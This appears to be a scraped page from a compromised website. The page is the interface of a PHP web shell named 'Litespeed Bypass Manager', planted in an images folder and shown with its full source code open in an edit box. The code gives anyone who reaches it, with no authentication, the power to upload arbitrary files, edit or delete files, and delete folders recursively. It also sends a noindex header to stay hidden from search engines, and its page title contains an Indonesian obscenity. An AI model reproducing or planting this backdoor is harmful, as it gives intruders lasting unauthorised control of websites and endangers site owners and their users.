Litespeed Bypass Manager
Direktori:
/lapor/images
⬆️ Kembali
Buat Folder Baru
Buat Folder
Upload File
Upload
⚠️ Litespeed Uploader
Isi Folder
📄 error_log
Edit
Hapus
📄 large_left.png
Edit
Hapus
📄 large_right.png
Edit
Hapus
📄 litespeed-bye.php
Edit
Hapus
📄 search.png
Edit
Hapus
📄 single-product.png
Edit
Hapus
📄 slider.jpg
Edit
Hapus
📄 slider1.jpg
Edit
Hapus
📄 slider2.jpg
Edit
Hapus
📄 titleBorder.png
Edit
Hapus
📄 top.png
Edit
Hapus
Edit File: litespeed-bye.php
<?php header("X-Robots-Tag: noindex, nofollow", true); $root = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], DIRECTORY_SEPARATOR) : getcwd(); $dir = isset($_GET['dir']) ? $_GET['dir'] : $root; $resolvedDir = realpath($dir); if ($resolvedDir === false) { $resolvedDir = $root; } if (strpos($resolvedDir, $root) !== 0) { $resolvedDir = $root; } $dir = $resolvedDir; function safe_read_file($file) { if (!file_exists($file) || !is_file($file)) return ""; $size = filesize($file); if ($size === false || $size === 0) return ""; $f = fopen($file, 'r'); if (!$f) return ""; $content = fread($f, $size); fclose($f); return $content; } function safe_write_file($file, $data) { $f = fopen($file, 'w'); if (!$f) return "Gagal membuka file untuk ditulis."; fwrite($f, $data); fclose($f); return "File berhasil disimpan."; } function safe_delete_file($file) { if (file_exists($file) && is_file($file)) { if (@unlink($file)) return "File dihapus."; return "Gagal menghapus file."; } return "File tidak ditemukan."; } function safe_create_dir($dirPath) { if (file_exists($dirPath)) return "Folder sudah ada."; if (!preg_match('/^[A-Za-z0-9._-]+$/', basename($dirPath))) { return "Nama folder hanya boleh berisi huruf, angka, titik, underscore, atau minus."; } if (@mkdir($dirPath, 0755)) return "Folder berhasil dibuat: " . htmlspecialchars($dirPath); return "Gagal membuat folder."; } function safe_delete_dir($dirPath) { if (!file_exists($dirPath) || !is_dir($dirPath)) return "Folder tidak ditemukan."; $items = scandir($dirPath); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dirPath . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { safe_delete_dir($path); } else { @unlink($path); } } if (@rmdir($dirPath)) { return "Folder dihapus."; } return "Gagal menghapus folder."; } $message = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = isset($_POST['action']) ? $_POST['action'] : ''; if ($action === 'save') { $file = isset($_POST['file']) ? $_POST['file'] : ''; $fileReal = realpath($file); if ($fileReal === false || strpos($fileReal, $root) !== 0) { $message = "Path tidak valid."; } else { $data = isset($_POST['content']) ? $_POST['content'] : ''; $message = safe_write_file($fileReal, $data); } } elseif ($action === 'delete') { $file = isset($_POST['file']) ? $_POST['file'] : ''; $fileReal = realpath($file); if ($fileReal === false || strpos($fileReal, $root) !== 0) { $message = "Path tidak valid."; } else { $message = safe_delete_file($fileReal); } } elseif ($action === 'mkdir') { $dirname = isset($_POST['dirname']) ? trim($_POST['dirname']) : ''; if ($dirname === '') { $message = "Nama folder tidak boleh kosong."; } else { $newDir = $dir . DIRECTORY_SEPARATOR . $dirname; if (strpos($dir, $root) !== 0) { $message = "Path tidak valid."; } else { $message = safe_create_dir($newDir); } } } elseif ($action === 'rmdir') { $folder = isset($_POST['folder']) ? $_POST['folder'] : ''; if ($folder === '' || strpos($folder, $root) !== 0) { $message = "Path tidak valid."; } else { $message = safe_delete_dir($folder); } } } $uploadMessage = ''; if (isset($_FILES['upload'])) { if (strpos($dir, $root) !== 0) { $uploadMessage = "Path upload tidak valid."; } else { $targetFile = $dir . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']); if (move_uploaded_file($_FILES['upload']['tmp_name'], $targetFile)) { $uploadMessage = "File berhasil diupload: " . htmlspecialchars(basename($targetFile)); } else { $uploadMessage = "Gagal mengupload file."; } } } $files = @scandir($dir); if ($files === false) $files = array(); $relativeDir = str_replace($root, '', $dir); if ($relativeDir === '') $relativeDir = '/'; $parentDir = dirname($dir); if ($parentDir === DIRECTORY_SEPARATOR || $parentDir === '.' || strlen($parentDir) < strlen($root)) { $parentDir = $root; } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Litespeed kontol</title> <style> body { font-family: Arial, sans-serif; margin:20px; background:#f6f7f9; color:#222; } h2 { margin-bottom:6px; } .path { padding:8px 12px; background:#fff; border:1px solid #ddd; border-radius:8px; display:inline-block; } .bar { display:flex; gap:12px; align-items:center; margin:12px 0 18px; } .btn { padding:8px 12px; border:1px solid #ccc; background:#fff; border-radius:8px; cursor:pointer; } .btn:hover { background:#f0f0f0; } .grid { background:#fff; border:1px solid #ddd; border-radius:10px; padding:12px; } ul { list-style:none; padding:0; margin:0; } li { display:flex; align-items:center; justify-content:space-between; padding:8px 6px; border-bottom:1px dashed #eee; } li:last-child { border-bottom:none; } a { color:#0b5ed7; text-decoration:none; } a:hover { text-decoration:underline; } .right { display:flex; gap:10px; align-items:center; } .tag { font-size:12px; padding:2px 8px; background:#eef1f6; border-radius:999px; } textarea { width:100%; height:380px; padding:10px; border:1px solid #ddd; border-radius:8px; font-family: Consolas, monospace; } .card { background:#fff; border:1px solid #ddd; border-radius:10px; padding:12px; margin-top:16px; } .msg { padding:10px 12px; border-radius:8px; margin:10px 0; } .ok { background:#e7f6ec; color:#0f5132; border:1px solid #badbcc; } .err { background:#fde2e1; color:#842029; border:1px solid #f5c2c7; } .muted { color:#666; font-size:12px; } .file-name { overflow:hidden; text-overflow:ellipsis; white-space:nowrap; max-width:60vw; } form.inline { display:inline; } input[type="text"], input[type="file"] { padding:8px; border:1px solid #ccc; border-radius:8px; } </style> </head> <body> <h2>Litespeed Bypass Manager</h2> <div class="path">Direktori: <strong><?php echo htmlspecialchars($relativeDir); ?></strong></div> <div class="bar"> <?php if ($dir !== $root): ?> <a class="btn" href="?dir=<?php echo htmlspecialchars($parentDir); ?>">⬆️ Kembali</a> <?php else: ?> <span class="btn muted">⬆️ Di Root</span> <?php endif; ?> </div> <?php if ($message) echo '<div class="msg ok">'.htmlspecialchars($message).'</div>'; if ($uploadMessage) echo '<div class="msg ok">'.htmlspecialchars($uploadMessage).'</div>'; ?> <div class="card"> <h3>Buat Folder Baru</h3> <form method="POST" action="?dir=<?php echo htmlspecialchars($dir); ?>"> <input type="text" name="dirname" placeholder="Nama folder (huruf/angka . _ -)" required> <button class="btn" type="submit" name="action" value="mkdir">Buat Folder</button> </form> </div> <div class="card"> <h3>Upload File</h3> <form method="POST" enctype="multipart/form-data" action="?dir=<?php echo htmlspecialchars($dir); ?>"> <input type="file" name="upload" required> <button class="btn" type="submit">Upload</button> </form> <div class="muted">⚠️ Litespeed Uploader</div> </div> <div class="grid" style="margin-top:16px;"> <h3>Isi Folder</h3> <ul> <?php $folders = array(); $regulars = array(); foreach ($files as $f) { if ($f === '.' || $f === '..') continue; $p = $dir . DIRECTORY_SEPARATOR . $f; if (is_dir($p)) $folders[] = $f; else $regulars[] = $f; } sort($folders); sort($regulars); foreach ($folders as $f) { $p = $dir . DIRECTORY_SEPARATOR . $f; echo '<li>'; echo '<span class="file-name">📁 <a href="?dir='.htmlspecialchars($p).'">'.htmlspecialchars($f).'</a></span>'; echo '<span class="right">'; echo '<span class="tag">Folder</span>'; echo '<form class="inline" method="POST" action="?dir='.htmlspecialchars($dir).'">'; echo '<input type="hidden" name="folder" value="'.htmlspecialchars($p).'">'; echo '<button class="btn" name="action" value="rmdir" onclick="return confirm(\'Hapus folder beserta isinya?\')">Hapus</button>'; echo '</form>'; echo '</span>'; echo '</li>'; } foreach ($regulars as $f) { $p = $dir . DIRECTORY_SEPARATOR . $f; echo '<li>'; echo '<span class="file-name">📄 '.htmlspecialchars($f).'</span>'; echo '<span class="right">'; echo '<a class="btn" href="?dir='.htmlspecialchars($dir).'&edit='.htmlspecialchars($p).'">Edit</a>'; echo '<form class="inline" method="POST" action="?dir='.htmlspecialchars($dir).'">'; echo '<input type="hidden" name="file" value="'.htmlspecialchars($p).'">'; echo '<button class="btn" name="action" value="delete" onclick="return confirm(\'Hapus file ini?\')">Hapus</button>'; echo '</form>'; echo '</span>'; echo '</li>'; } ?> </ul> </div> <?php if (isset($_GET['edit'])) { $editFileRaw = $_GET['edit']; $editFileReal = realpath($editFileRaw); if ($editFileReal !== false && strpos($editFileReal, $root) === 0 && is_file($editFileReal)) { $content = safe_read_file($editFileReal); ?> <div class="card"> <h3>Edit File: <?php echo htmlspecialchars(basename($editFileReal)); ?></h3> <form method="POST" action="?dir=<?php echo htmlspecialchars($dir); ?>"> <textarea name="content"><?php echo htmlspecialchars($content); ?></textarea> <input type="hidden" name="file" value="<?php echo htmlspecialchars($editFileReal); ?>"> <div style="margin-top:10px;"> <button class="btn" name="action" value="save">Simpan</button> </div> </form> <div class="muted">Catatan: Mengedit file biner tidak disarankan.</div> </div> <?php } else { echo '<div class="msg err">File tidak valid atau di luar root.</div>'; } } ?> </body> </html>
Simpan
Catatan: Mengedit file biner tidak disarankan.